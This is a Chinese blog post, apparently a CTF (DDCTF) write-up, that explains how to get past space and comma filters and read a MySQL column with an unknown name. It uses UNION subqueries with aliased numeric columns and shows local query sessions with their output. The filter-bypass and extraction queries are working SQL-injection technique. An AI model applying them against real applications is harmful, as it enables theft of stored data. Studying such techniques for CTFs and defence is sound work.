mysql 特殊字段名_Mysql如何巧妙的绕过未知字段名详解

前言

本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:

实现思路

题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

示例代码:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;

+---+---+---+---+

| a | b | c | d |

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;

+---+-------+----------+-------------+

| 1 | 2 | 3 | 4 |

+---+-------+----------+-------------+

| 1 | 2 | 3 | 4 |

| 1 | admin | admin888 | 110@110.com |

| 2 | test | test123 | 119@119.com |

| 3 | cs | cs123 | 120@120.com |

+---+-------+----------+-------------+

4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;

+-------------+

| 4 |

+-------------+

| 4 |

| 110@110.com |

| 119@119.com |

| 120@120.com |

+-------------+

4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+

| 4 |

+-------------+

| 120@120.com |

+-------------+

1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d

union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

+-------------+----------+----------+-------------+

| id | username | password | email |

+-------------+----------+----------+-------------+

| 1 | admin | admin888 | 110@110.com |

| 120@120.com | 1 | 1 | 1 |

+-------------+----------+----------+-------------+

2 rows in set (0.04 sec)

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

您可能感兴趣的文章:防止xss和sql注入:JS特殊字符过滤正则

一个过滤重复数据的 SQL 语句

MySQL注入绕开过滤的技巧总结

SQL注入中绕过 单引号 限制继续注入

SQL注入绕过的技巧总结

多列复合索引的使用 绕过微软sql server的一个缺陷

关于SQL注入绕过的一些知识点

SQL Server简单模式下误删除堆表记录恢复方法(绕过页眉校验)

SQL注入技巧之显注与盲注中过滤逗号绕过详析

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值